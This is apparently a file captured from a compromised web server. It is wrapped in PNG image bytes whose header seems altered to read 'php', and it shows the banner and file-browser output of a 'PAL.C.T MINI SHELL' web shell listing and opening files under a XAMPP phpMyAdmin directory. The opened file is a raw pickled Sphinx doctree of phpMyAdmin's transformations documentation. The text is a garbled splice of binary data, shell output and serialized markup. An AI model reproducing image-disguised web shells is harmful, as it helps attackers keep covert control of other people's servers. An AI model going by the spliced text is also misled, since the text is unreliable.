‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /opt/lampp/phpmyadmin/doc/doctrees/
upload
files >> //opt/lampp/phpmyadmin/doc/doctrees/transformations.doctree

€cdocutils.nodes
document
q)q}q(U	nametypesq}q(Xmanual pageqˆXtransformationsqˆXintroductionqNXfile structureq	NXmysql_fetch_field()q
ˆXlink sectionqˆXtransformationshowtoqˆXusageq
NXtransformationsintroqˆXtransformationsfilesqˆuUsubstitution_defsq}qUparse_messagesq]qcdocutils.nodes
system_message
q)q}q(U	rawsourceqUUparentqcdocutils.nodes
section
q)q}q(hUU
referencedqKhhUsourceqXI/mnt/autrexfs/phpmyadmin/release/phpMyAdmin-4.5.2/doc/transformations.rstqUexpect_referenced_by_nameq}q hcdocutils.nodes
target
q!)q"}q#(hX.. _transformations:hhhhUtagnameq$Utargetq%U
attributesq&}q'(Uidsq(]Ubackrefsq)]Udupnamesq*]Uclassesq+]Unamesq,]Urefidq-Utransformationsq.uUlineq/KUdocumentq0hUchildrenq1]ubsh$Usectionq2h&}q3(h*]q4Xtransformationsq5ah+]h)]h(]q6(h.Uid1q7eh,]q8hauh/Kh0hUexpect_referenced_by_idq9}q:h.h"sh1]q;(cdocutils.nodes
title
q<)q=}q>(hXTransformationsq?hhhhh$Utitleq@h&}qA(h*]h+]h)]h(]h,]uh/Kh0hh1]qBcdocutils.nodes
Text
qCXTransformationsqD…qE}qF(hh?hh=ubaubh!)qG}qH(hX.. _transformationsintro:hhhhh$h%h&}qI(h(]h)]h*]h+]h,]h-UtransformationsintroqJuh/Kh0hh1]ubh)qK}qL(hUhhhhh}qMhhGsh$h2h&}qN(h*]h+]h)]h(]qO(UintroductionqPhJeh,]qQ(hheuh/K	h0hh9}qRhJhGsh1]qS(h<)qT}qU(hXIntroductionqVhhKhhh$h@h&}qW(h*]h+]h)]h(]h,]uh/K	h0hh1]qXhCXIntroductionqY…qZ}q[(hhVhhTubaubcdocutils.nodes
paragraph
q\)q]}q^(hXTo enable transformations, you have to setup the ``column_info``
table and the proper directives. Please see the :ref:`config` on how to do so.hhKhhh$U	paragraphq_h&}q`(h*]h+]h)]h(]h,]uh/Kh0hh1]qa(hCX1To enable transformations, you have to setup the qb…qc}qd(hX1To enable transformations, you have to setup the hh]ubcdocutils.nodes
literal
qe)qf}qg(hX``column_info``h&}qh(h*]h+]h)]h(]h,]uhh]h1]qihCXcolumn_infoqj…qk}ql(hUhhfubah$UliteralqmubhCX1
table and the proper directives. Please see the qn…qo}qp(hX1
table and the proper directives. Please see the hh]ubcsphinx.addnodes
pending_xref
qq)qr}qs(hX
:ref:`config`qthh]hhh$Upending_xrefquh&}qv(UreftypeXrefUrefwarnqwˆU	reftargetqxXconfigU	refdomainXstdqyh(]h)]Urefexplicit‰h*]h+]h,]UrefdocqzXtransformationsq{uh/Kh1]q|cdocutils.nodes
emphasis
q})q~}q(hhth&}q€(h*]h+]q(Uxrefq‚hyXstd-refqƒeh)]h(]h,]uhhrh1]q„hCXconfigq……q†}q‡(hUhh~ubah$UemphasisqˆubaubhCX on how to do so.q‰…qŠ}q‹(hX on how to do so.hh]ubeubh\)qŒ}q(hXËYou can apply different transformations to the contents of each
column. The transformation will take the content of each column and
transform it with certain rules defined in the selected
transformation.qŽhhKhhh$h_h&}q(h*]h+]h)]h(]h,]uh/Kh0hh1]qhCXËYou can apply different transformations to the contents of each
column. The transformation will take the content of each column and
transform it with certain rules defined in the selected
transformation.q‘…q’}q“(hhŽhhŒubaubh\)q”}q•(hXÃSay you have a column 'filename' which contains a filename. Normally
you would see in phpMyAdmin only this filename. Using transformations
you can transform that filename into a HTML link, so you can click
inside of the phpMyAdmin structure on the column's link and will see
the file displayed in a new browser window. Using transformation
options you can also specify strings to append/prepend to a string or
the format you want the output stored in.q–hhKhhh$h_h&}q—(h*]h+]h)]h(]h,]uh/Kh0hh1]q˜hCXÃSay you have a column 'filename' which contains a filename. Normally
you would see in phpMyAdmin only this filename. Using transformations
you can transform that filename into a HTML link, so you can click
inside of the phpMyAdmin structure on the column's link and will see
the file displayed in a new browser window. Using transformation
options you can also specify strings to append/prepend to a string or
the format you want the output stored in.q™…qš}q›(hh–hh”ubaubh\)qœ}q(hX´For a general overview of all available transformations and their
options, you can consult your *<www.your-host.com>/<your-install-
dir>/transformation\_overview.php* installation.hhKhhh$h_h&}qž(h*]h+]h)]h(]h,]uh/Kh0hh1]qŸ(hCX`For a general overview of all available transformations and their
options, you can consult your q …q¡}q¢(hX`For a general overview of all available transformations and their
options, you can consult your hhœubh})q£}q¤(hXF*<www.your-host.com>/<your-install-
dir>/transformation\_overview.php*h&}q¥(h*]h+]h)]h(]h,]uhhœh1]q¦hCXC<www.your-host.com>/<your-install-
dir>/transformation_overview.phpq§…q¨}q©(hUhh£ubah$hˆubhCX installation.qª…q«}q¬(hX installation.hhœubeubh\)q­}q®(hX¥For a tutorial on how to effectively use transformations, see our
`Link section <http://www.phpmyadmin.net/home_page/docs.php>`_ on the
official phpMyAdmin homepage.hhKhhh$h_h&}q¯(h*]h+]h)]h(]h,]uh/Kh0hh1]q°(hCXBFor a tutorial on how to effectively use transformations, see our
q±…q²}q³(hXBFor a tutorial on how to effectively use transformations, see our
hh­ubcdocutils.nodes
reference
q´)qµ}q¶(hX>`Link section <http://www.phpmyadmin.net/home_page/docs.php>`_h&}q·(UnameXLink sectionUrefuriq¸X,http://www.phpmyadmin.net/home_page/docs.phpq¹h(]h)]h*]h+]h,]uhh­h1]qºhCXLink sectionq»…q¼}q½(hUhhµubah$U	referenceq¾ubh!)q¿}qÀ(hX/ <http://www.phpmyadmin.net/home_page/docs.php>hKhh­h$h%h&}qÁ(Urefurih¹h(]qÂUlink-sectionqÃah)]h*]h+]h,]qÄhauh1]ubhCX% on the
official phpMyAdmin homepage.qÅ…qÆ}qÇ(hX% on the
official phpMyAdmin homepage.hh­ubeubh!)qÈ}qÉ(hX.. _transformationshowto:hhKhhh$h%h&}qÊ(h(]h)]h*]h+]h,]h-UtransformationshowtoqËuh/K#h0hh1]ubeubh)qÌ}qÍ(hUhhhhh}qÎhhÈsh$h2h&}qÏ(h*]h+]h)]h(]qÐ(UusageqÑhËeh,]qÒ(h
heuh/K&h0hh9}qÓhËhÈsh1]qÔ(h<)qÕ}qÖ(hXUsageq×hhÌhhh$h@h&}qØ(h*]h+]h)]h(]h,]uh/K&h0hh1]qÙhCXUsageqÚ…qÛ}qÜ(hh×hhÕubaubh\)qÝ}qÞ(hX&Go to your *tbl\_structure.php* page (i.e. reached through clicking on
the 'Structure' link for a table). There click on "Change" (or change
icon) and there you will see three new fields at the end of the line.
They are called 'MIME-type', 'Browser transformation' and
'Transformation options'.hhÌhhh$h_h&}qß(h*]h+]h)]h(]h,]uh/K(h0hh1]qà(hCXGo to your qá…qâ}qã(hXGo to your hhÝubh})qä}qå(hX*tbl\_structure.php*h&}qæ(h*]h+]h)]h(]h,]uhhÝh1]qçhCXtbl_structure.phpqè…qé}qê(hUhhäubah$hˆubhCX page (i.e. reached through clicking on
the 'Structure' link for a table). There click on "Change" (or change
icon) and there you will see three new fields at the end of the line.
They are called 'MIME-type', 'Browser transformation' and
'Transformation options'.që…qì}qí(hX page (i.e. reached through clicking on
the 'Structure' link for a table). There click on "Change" (or change
icon) and there you will see three new fields at the end of the line.
They are called 'MIME-type', 'Browser transformation' and
'Transformation options'.hhÝubeubcdocutils.nodes
bullet_list
qî)qï}qð(hUhhÌhhh$Ubullet_listqñh&}qò(UbulletqóX*h(]h)]h*]h+]h,]uh/K.h0hh1]qô(cdocutils.nodes
list_item
qõ)qö}q÷(hX¾The field 'MIME-type' is a drop-down field. Select the MIME-type that
corresponds to the column's contents. Please note that transformations
are inactive as long as no MIME-type is selected.hhïhhh$U	list_itemqøh&}qù(h*]h+]h)]h(]h,]uh/Nh0hh1]qúh\)qû}qü(hX¾The field 'MIME-type' is a drop-down field. Select the MIME-type that
corresponds to the column's contents. Please note that transformations
are inactive as long as no MIME-type is selected.qýhhöhhh$h_h&}qþ(h*]h+]h)]h(]h,]uh/K.h1]qÿhCX¾The field 'MIME-type' is a drop-down field. Select the MIME-type that
corresponds to the column's contents. Please note that transformations
are inactive as long as no MIME-type is selected.r…r}r(hhýhhûubaubaubhõ)r}r(hXXThe field 'Browser transformation' is a drop-down field. You can
choose from a hopefully growing amount of pre-defined transformations.
See below for information on how to build your own transformation.
There are global transformations and mimetype-bound transformations.
Global transformations can be used for any mimetype. They will take
the mimetype, if necessary, into regard. Mimetype-bound
transformations usually only operate on a certain mimetype. There are
transformations which operate on the main mimetype (like 'image'),
which will most likely take the subtype into regard, and those who
only operate on a specific subtype (like 'image/jpeg'). You can use
transformations on mimetypes for which the function was not defined
for. There is no security check for you selected the right
transformation, so take care of what the output will be like.hhïhhh$høh&}r(h*]h+]h)]h(]h,]uh/Nh0hh1]rh\)r}r(hXXThe field 'Browser transformation' is a drop-down field. You can
choose from a hopefully growing amount of pre-defined transformations.
See below for information on how to build your own transformation.
There are global transformations and mimetype-bound transformations.
Global transformations can be used for any mimetype. They will take
the mimetype, if necessary, into regard. Mimetype-bound
transformations usually only operate on a certain mimetype. There are
transformations which operate on the main mimetype (like 'image'),
which will most likely take the subtype into regard, and those who
only operate on a specific subtype (like 'image/jpeg'). You can use
transformations on mimetypes for which the function was not defined
for. There is no security check for you selected the right
transformation, so take care of what the output will be like.r	hjhhh$h_h&}r
(h*]h+]h)]h(]h,]uh/K1h1]rhCXXThe field 'Browser transformation' is a drop-down field. You can
choose from a hopefully growing amount of pre-defined transformations.
See below for information on how to build your own transformation.
There are global transformations and mimetype-bound transformations.
Global transformations can be used for any mimetype. They will take
the mimetype, if necessary, into regard. Mimetype-bound
transformations usually only operate on a certain mimetype. There are
transformations which operate on the main mimetype (like 'image'),
which will most likely take the subtype into regard, and those who
only operate on a specific subtype (like 'image/jpeg'). You can use
transformations on mimetypes for which the function was not defined
for. There is no security check for you selected the right
transformation, so take care of what the output will be like.r…r
}r(hj	hjubaubaubhõ)r}r(hXThe field 'Transformation options' is a free-type textfield. You have
to enter transform-function specific options here. Usually the
transforms can operate with default options, but it is generally a
good idea to look up the overview to see which options are necessary.
Much like the ENUM/SET-Fields, you have to split up several options
using the format 'a','b','c',...(NOTE THE MISSING BLANKS). This is
because internally the options will be parsed as an array, leaving the
first value the first element in the array, and so forth. If you want
to specify a MIME character set you can define it in the
transformation\_options. You have to put that outside of the pre-
defined options of the specific mime-transform, as the last value of
the set. Use the format "'; charset=XXX'". If you use a transform, for
which you can specify 2 options and you want to append a character
set, enter "'first parameter','second parameter','charset=us-ascii'".
You can, however use the defaults for the parameters: "'','','charset
=us-ascii'".
hhïhhh$høh&}r(h*]h+]h)]h(]h,]uh/Nh0hh1]rh\)r}r(hXThe field 'Transformation options' is a free-type textfield. You have
to enter transform-function specific options here. Usually the
transforms can operate with default options, but it is generally a
good idea to look up the overview to see which options are necessary.
Much like the ENUM/SET-Fields, you have to split up several options
using the format 'a','b','c',...(NOTE THE MISSING BLANKS). This is
because internally the options will be parsed as an array, leaving the
first value the first element in the array, and so forth. If you want
to specify a MIME character set you can define it in the
transformation\_options. You have to put that outside of the pre-
defined options of the specific mime-transform, as the last value of
the set. Use the format "'; charset=XXX'". If you use a transform, for
which you can specify 2 options and you want to append a character
set, enter "'first parameter','second parameter','charset=us-ascii'".
You can, however use the defaults for the parameters: "'','','charset
=us-ascii'".hjhhh$h_h&}r(h*]h+]h)]h(]h,]uh/K>h1]rhCXThe field 'Transformation options' is a free-type textfield. You have
to enter transform-function specific options here. Usually the
transforms can operate with default options, but it is generally a
good idea to look up the overview to see which options are necessary.
Much like the ENUM/SET-Fields, you have to split up several options
using the format 'a','b','c',...(NOTE THE MISSING BLANKS). This is
because internally the options will be parsed as an array, leaving the
first value the first element in the array, and so forth. If you want
to specify a MIME character set you can define it in the
transformation_options. You have to put that outside of the pre-
defined options of the specific mime-transform, as the last value of
the set. Use the format "'; charset=XXX'". If you use a transform, for
which you can specify 2 options and you want to append a character
set, enter "'first parameter','second parameter','charset=us-ascii'".
You can, however use the defaults for the parameters: "'','','charset
=us-ascii'".r…r}r(hXThe field 'Transformation options' is a free-type textfield. You have
to enter transform-function specific options here. Usually the
transforms can operate with default options, but it is generally a
good idea to look up the overview to see which options are necessary.
Much like the ENUM/SET-Fields, you have to split up several options
using the format 'a','b','c',...(NOTE THE MISSING BLANKS). This is
because internally the options will be parsed as an array, leaving the
first value the first element in the array, and so forth. If you want
to specify a MIME character set you can define it in the
transformation\_options. You have to put that outside of the pre-
defined options of the specific mime-transform, as the last value of
the set. Use the format "'; charset=XXX'". If you use a transform, for
which you can specify 2 options and you want to append a character
set, enter "'first parameter','second parameter','charset=us-ascii'".
You can, however use the defaults for the parameters: "'','','charset
=us-ascii'".hjubaubaubeubh!)r}r(hX.. _transformationsfiles:hhÌhhh$h%h&}r(h(]h)]h*]h+]h,]h-Utransformationsfilesruh/KOh0hh1]ubeubh)r}r(hUhhhhh}r hjsh$h2h&}r!(h*]h+]h)]h(]r"(Ufile-structurer#jeh,]r$(h	heuh/KRh0hh9}r%jjsh1]r&(h<)r'}r((hXFile structurer)hjhhh$h@h&}r*(h*]h+]h)]h(]h,]uh/KRh0hh1]r+hCXFile structurer,…r-}r.(hj)hj'ubaubh\)r/}r0(hXöAll specific transformations for mimetypes are defined through class
files in the directory 'libraries/plugins/transformations/'. Each of
them extends a certain transformation abstract class declared in
libraries/plugins/transformations/abstract.r1hjhhh$h_h&}r2(h*]h+]h)]h(]h,]uh/KTh0hh1]r3hCXöAll specific transformations for mimetypes are defined through class
files in the directory 'libraries/plugins/transformations/'. Each of
them extends a certain transformation abstract class declared in
libraries/plugins/transformations/abstract.r4…r5}r6(hj1hj/ubaubh\)r7}r8(hXYThey are stored in files to ease up customization and easy adding of
new transformations.r9hjhhh$h_h&}r:(h*]h+]h)]h(]h,]uh/KYh0hh1]r;hCXYThey are stored in files to ease up customization and easy adding of
new transformations.r<…r=}r>(hj9hj7ubaubh\)r?}r@(hXÇBecause the user cannot enter own mimetypes, it is kept sure that
transformations always work. It makes no sense to apply a
transformation to a mimetype the transform-function doesn't know to
handle.rAhjhhh$h_h&}rB(h*]h+]h)]h(]h,]uh/K\h0hh1]rChCXÇBecause the user cannot enter own mimetypes, it is kept sure that
transformations always work. It makes no sense to apply a
transformation to a mimetype the transform-function doesn't know to
handle.rD…rE}rF(hjAhj?ubaubh\)rG}rH(hXŒThere is a file called '*transformations.lib.php*' that provides some
basic functions which can be included by any other transform function.hjhhh$h_h&}rI(h*]h+]h)]h(]h,]uh/Kah0hh1]rJ(hCXThere is a file called 'rK…rL}rM(hXThere is a file called 'hjGubh})rN}rO(hX*transformations.lib.php*h&}rP(h*]h+]h)]h(]h,]uhjGh1]rQhCXtransformations.lib.phprR…rS}rT(hUhjNubah$hˆubhCX[' that provides some
basic functions which can be included by any other transform function.rU…rV}rW(hX[' that provides some
basic functions which can be included by any other transform function.hjGubeubh\)rX}rY(hXThe file name convention is ``[Mimetype]_[Subtype]_[Transformation
Name].class.php``, while the abtract class that it extends has the
name ``[Transformation Name]TransformationsPlugin``. All of the
methods that have to be implemented by a transformations plug-in are:hjhhh$h_h&}rZ(h*]h+]h)]h(]h,]uh/Kdh0hh1]r[(hCXThe file name convention is r\…r]}r^(hXThe file name convention is hjXubhe)r_}r`(hX8``[Mimetype]_[Subtype]_[Transformation
Name].class.php``h&}ra(h*]h+]h)]h(]h,]uhjXh1]rbhCX4[Mimetype]_[Subtype]_[Transformation
Name].class.phprc…rd}re(hUhj_ubah$hmubhCX7, while the abtract class that it extends has the
name rf…rg}rh(hX7, while the abtract class that it extends has the
name hjXubhe)ri}rj(hX.``[Transformation Name]TransformationsPlugin``h&}rk(h*]h+]h)]h(]h,]uhjXh1]rlhCX*[Transformation Name]TransformationsPluginrm…rn}ro(hUhjiubah$hmubhCXR. All of the
methods that have to be implemented by a transformations plug-in are:rp…rq}rr(hXR. All of the
methods that have to be implemented by a transformations plug-in are:hjXubeubcdocutils.nodes
enumerated_list
rs)rt}ru(hUhjhhh$Uenumerated_listrvh&}rw(UsuffixrxU.h(]h)]h*]UprefixryUh+]h,]UenumtyperzUarabicr{uh/Kih0hh1]r|(hõ)r}}r~(hX5getMIMEType() and getMIMESubtype() in the main class;rhjthhh$høh&}r€(h*]h+]h)]h(]h,]uh/Nh0hh1]rh\)r‚}rƒ(hjhj}hhh$h_h&}r„(h*]h+]h)]h(]h,]uh/Kih1]r…hCX5getMIMEType() and getMIMESubtype() in the main class;r†…r‡}rˆ(hjhj‚ubaubaubhõ)r‰}rŠ(hXQgetName(), getInfo() and applyTransformation() in the abstract class
it extends.
hjthhh$høh&}r‹(h*]h+]h)]h(]h,]uh/Nh0hh1]rŒh\)r}rŽ(hXPgetName(), getInfo() and applyTransformation() in the abstract class
it extends.rhj‰hhh$h_h&}r(h*]h+]h)]h(]h,]uh/Kjh1]r‘hCXPgetName(), getInfo() and applyTransformation() in the abstract class
it extends.r’…r“}r”(hjhjubaubaubeubh\)r•}r–(hX@The getMIMEType(), getMIMESubtype() and getName() methods return the
name of the MIME type, MIME Subtype and transformation accordingly.
getInfo() returns the transformation's description and possible
options it may receive and applyTransformation() is the method that
does the actual work of the transformation plug-in.r—hjhhh$h_h&}r˜(h*]h+]h)]h(]h,]uh/Kmh0hh1]r™hCX@The getMIMEType(), getMIMESubtype() and getName() methods return the
name of the MIME type, MIME Subtype and transformation accordingly.
getInfo() returns the transformation's description and possible
options it may receive and applyTransformation() is the method that
does the actual work of the transformation plug-in.rš…r›}rœ(hj—hj•ubaubh\)r}rž(hX™Please see the libraries/plugins/transformations/TEMPLATE and
libraries/plugins/transformations/TEMPLATE\_ABSTRACT files for adding
your own transformation plug-in. You can also generate a new
transformation plug-in (with or without the abstract transformation
class), by using
:file:`libraries/plugins/transformations/generator_plugin.sh` or
:file:`libraries/plugins/transformations/generator_main_class.sh`.hjhhh$h_h&}rŸ(h*]h+]h)]h(]h,]uh/Ksh0hh1]r (hCXPlease see the libraries/plugins/transformations/TEMPLATE and
libraries/plugins/transformations/TEMPLATE_ABSTRACT files for adding
your own transformation plug-in. You can also generate a new
transformation plug-in (with or without the abstract transformation
class), by using
r¡…r¢}r£(hXPlease see the libraries/plugins/transformations/TEMPLATE and
libraries/plugins/transformations/TEMPLATE\_ABSTRACT files for adding
your own transformation plug-in. You can also generate a new
transformation plug-in (with or without the abstract transformation
class), by using
hjubhe)r¤}r¥(hUh&}r¦(h(]h)]h*]h+]r§Xfiler¨aUrolej¨h,]uhjh1]r©hCX5libraries/plugins/transformations/generator_plugin.shrª…r«}r¬(hX5libraries/plugins/transformations/generator_plugin.shhj¤ubah$hmubhCX or
r­…r®}r¯(hX or
hjubhe)r°}r±(hUh&}r²(h(]h)]h*]h+]r³Xfiler´aUrolej´h,]uhjh1]rµhCX9libraries/plugins/transformations/generator_main_class.shr¶…r·}r¸(hX9libraries/plugins/transformations/generator_main_class.shhj°ubah$hmubhCX.…r¹}rº(hX.hjubeubh\)r»}r¼(hXDThe applyTransformation() method always gets passed three variables:r½hjhhh$h_h&}r¾(h*]h+]h)]h(]h,]uh/K{h0hh1]r¿hCXDThe applyTransformation() method always gets passed three variables:rÀ…rÁ}rÂ(hj½hj»ubaubjs)rÃ}rÄ(hUhjhhh$jvh&}rÅ(jxU.h(]h)]h*]jyUh+]h,]jzj{uh/K}h0hh1]rÆ(hõ)rÇ}rÈ(hX^**$buffer** - Contains the text inside of the column. This is the
text, you want to transform.hjÃhhh$høh&}rÉ(h*]h+]h)]h(]h,]uh/Nh0hh1]rÊh\)rË}rÌ(hX^**$buffer** - Contains the text inside of the column. This is the
text, you want to transform.hjÇhhh$h_h&}rÍ(h*]h+]h)]h(]h,]uh/K}h1]rÎ(cdocutils.nodes
strong
rÏ)rÐ}rÑ(hX**$buffer**h&}rÒ(h*]h+]h)]h(]h,]uhjËh1]rÓhCX$bufferrÔ…rÕ}rÖ(hUhjÐubah$Ustrongr×ubhCXS - Contains the text inside of the column. This is the
text, you want to transform.rØ…rÙ}rÚ(hXS - Contains the text inside of the column. This is the
text, you want to transform.hjËubeubaubhõ)rÛ}rÜ(hXT**$options** - Contains any user-passed options to a transform
function as an array.hjÃhhh$høh&}rÝ(h*]h+]h)]h(]h,]uh/Nh0hh1]rÞh\)rß}rà(hXT**$options** - Contains any user-passed options to a transform
function as an array.hjÛhhh$h_h&}rá(h*]h+]h)]h(]h,]uh/Kh1]râ(jÏ)rã}rä(hX**$options**h&}rå(h*]h+]h)]h(]h,]uhjßh1]ræhCX$optionsrç…rè}ré(hUhjãubah$j×ubhCXH - Contains any user-passed options to a transform
function as an array.rê…rë}rì(hXH - Contains any user-passed options to a transform
function as an array.hjßubeubaubhõ)rí}rî(hX**$meta** - Contains an object with information about your column. The
data is drawn from the output of the `mysql\_fetch\_field()
<http://www.php.net/mysql_fetch_field>`_ function. This means, all
object properties described on the `manual page
<http://www.php.net/mysql_fetch_field>`_ are available in this
variable and can be used to transform a column accordingly to
unsigned/zerofill/not\_null/... properties. The $meta->mimetype
variable contains the original MIME-type of the column (i.e.
'text/plain', 'image/jpeg' etc.)
hjÃhhh$høh&}rï(h*]h+]h)]h(]h,]uh/Nh0hh1]rðh\)rñ}rò(hX**$meta** - Contains an object with information about your column. The
data is drawn from the output of the `mysql\_fetch\_field()
<http://www.php.net/mysql_fetch_field>`_ function. This means, all
object properties described on the `manual page
<http://www.php.net/mysql_fetch_field>`_ are available in this
variable and can be used to transform a column accordingly to
unsigned/zerofill/not\_null/... properties. The $meta->mimetype
variable contains the original MIME-type of the column (i.e.
'text/plain', 'image/jpeg' etc.)hjíhhh$h_h&}ró(h*]h+]h)]h(]h,]uh/Kh1]rô(jÏ)rõ}rö(hX	**$meta**h&}r÷(h*]h+]h)]h(]h,]uhjñh1]røhCX$metarù…rú}rû(hUhjõubah$j×ubhCXc - Contains an object with information about your column. The
data is drawn from the output of the rü…rý}rþ(hXc - Contains an object with information about your column. The
data is drawn from the output of the hjñubh´)rÿ}r(hX?`mysql\_fetch\_field()
<http://www.php.net/mysql_fetch_field>`_h&}r(Unameh
h¸X$http://www.php.net/mysql_fetch_fieldrh(]h)]h*]h+]h,]uhjñh1]rhCXmysql_fetch_field()r…r}r(hUhjÿubah$h¾ubh!)r}r(hX'
<http://www.php.net/mysql_fetch_field>hKhjñh$h%h&}r	(Urefurijh(]r
Umysql-fetch-fieldrah)]h*]h+]h,]rh
auh1]ubhCX> function. This means, all
object properties described on the r
…r}r(hX> function. This means, all
object properties described on the hjñubh´)r}r(hX5`manual page
<http://www.php.net/mysql_fetch_field>`_h&}r(UnameXmanual pageh¸X$http://www.php.net/mysql_fetch_fieldrh(]h)]h*]h+]h,]uhjñh1]rhCXmanual pager…r}r(hUhjubah$h¾ubh!)r}r(hX'
<http://www.php.net/mysql_fetch_field>hKhjñh$h%h&}r(Urefurijh(]rUmanual-pagerah)]h*]h+]h,]rhauh1]ubhCXñ are available in this
variable and can be used to transform a column accordingly to
unsigned/zerofill/not_null/... properties. The $meta->mimetype
variable contains the original MIME-type of the column (i.e.
'text/plain', 'image/jpeg' etc.)r…r}r (hXò are available in this
variable and can be used to transform a column accordingly to
unsigned/zerofill/not\_null/... properties. The $meta->mimetype
variable contains the original MIME-type of the column (i.e.
'text/plain', 'image/jpeg' etc.)hjñubeubaubeubeubeubhhh$Usystem_messager!h&}r"(h*]UlevelKh(]h)]r#h7aUsourcehh+]h,]UlineKUtypeUINFOr$uh/Kh0hh1]r%h\)r&}r'(hUh&}r((h*]h+]h)]h(]h,]uhhh1]r)hCX2Duplicate implicit target name: "transformations".r*…r+}r,(hUhj&ubah$h_ubaubaUcurrent_sourcer-NU
decorationr.NUautofootnote_startr/KUnameidsr0}r1(hjhh.hhPh	j#h
jhhÃhhËh
hÑhhJhjuh1]r2(h"hehUUtransformerr3NU
footnote_refsr4}r5Urefnamesr6}r7Usymbol_footnotesr8]r9Uautofootnote_refsr:]r;Usymbol_footnote_refsr<]r=U	citationsr>]r?h0hUcurrent_liner@NUtransform_messagesrA]rB(h)rC}rD(hUh&}rE(h*]UlevelKh(]h)]Usourcehh+]h,]UlineKUtypej$uh1]rFh\)rG}rH(hUh&}rI(h*]h+]h)]h(]h,]uhjCh1]rJhCX5Hyperlink target "transformations" is not referenced.rK…rL}rM(hUhjGubah$h_ubah$j!ubh)rN}rO(hUh&}rP(h*]UlevelKh(]h)]Usourcehh+]h,]UlineKUtypej$uh1]rQh\)rR}rS(hUh&}rT(h*]h+]h)]h(]h,]uhjNh1]rUhCX:Hyperlink target "transformationsintro" is not referenced.rV…rW}rX(hUhjRubah$h_ubah$j!ubh)rY}rZ(hUh&}r[(h*]UlevelKh(]h)]Usourcehh+]h,]UlineK#Utypej$uh1]r\h\)r]}r^(hUh&}r_(h*]h+]h)]h(]h,]uhjYh1]r`hCX:Hyperlink target "transformationshowto" is not referenced.ra…rb}rc(hUhj]ubah$h_ubah$j!ubh)rd}re(hUh&}rf(h*]UlevelKh(]h)]Usourcehh+]h,]UlineKOUtypej$uh1]rgh\)rh}ri(hUh&}rj(h*]h+]h)]h(]h,]uhjdh1]rkhCX:Hyperlink target "transformationsfiles" is not referenced.rl…rm}rn(hUhjhubah$h_ubah$j!ubeUreporterroNUid_startrpKU
autofootnotesrq]rrU
citation_refsrs}rtUindirect_targetsru]rvUsettingsrw(cdocutils.frontend
Values
rxory}rz(Ufootnote_backlinksr{KUrecord_dependenciesr|NUrfc_base_urlr}Uhttp://tools.ietf.org/html/r~U	tracebackrˆUpep_referencesr€NUstrip_commentsrNU
toc_backlinksr‚UentryrƒU
language_coder„Uenr…U	datestampr†NUreport_levelr‡KU_destinationrˆNU
halt_levelr‰KU
strip_classesrŠNh@NUerror_encoding_error_handlerr‹UbackslashreplacerŒUdebugrNUembed_stylesheetrމUoutput_encoding_error_handlerrUstrictrU
sectnum_xformr‘KUdump_transformsr’NU
docinfo_xformr“KUwarning_streamr”NUpep_file_url_templater•Upep-%04dr–Uexit_status_levelr—KUconfigr˜NUstrict_visitorr™NUcloak_email_addressesršˆUtrim_footnote_reference_spacer›‰UenvrœNUdump_pseudo_xmlrNUexpose_internalsržNUsectsubtitle_xformrŸ‰Usource_linkr NUrfc_referencesr¡NUoutput_encodingr¢Uutf-8r£U
source_urlr¤NUinput_encodingr¥U	utf-8-sigr¦U_disable_configr§NU	id_prefixr¨UU	tab_widthr©KUerror_encodingrªUANSI_X3.4-1968r«U_sourcer¬hUgettext_compactr­ˆU	generatorr®NUdump_internalsr¯NUsmart_quotesr°‰Upep_base_urlr±Uhttp://www.python.org/dev/peps/r²Usyntax_highlightr³Ulongr´Uinput_encoding_error_handlerrµjUauto_id_prefixr¶Uidr·Udoctitle_xformr¸‰Ustrip_elements_with_classesr¹NU
_config_filesrº]Ufile_insertion_enabledr»ˆUraw_enabledr¼KU
dump_settingsr½NubUsymbol_footnote_startr¾KUidsr¿}rÀ(h.hjjhPhKhÃh¿h7hj#jjjhËhÌhÑhÌhJhKjjuUsubstitution_namesrÁ}rÂh$h0h&}rÃ(h*]h(]h)]Usourcehh+]h,]uU	footnotesrÄ]rÅUrefidsrÆ}rÇ(j]rÈjahJ]rÉhGah.]rÊh"ahË]rËhÈauub.
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚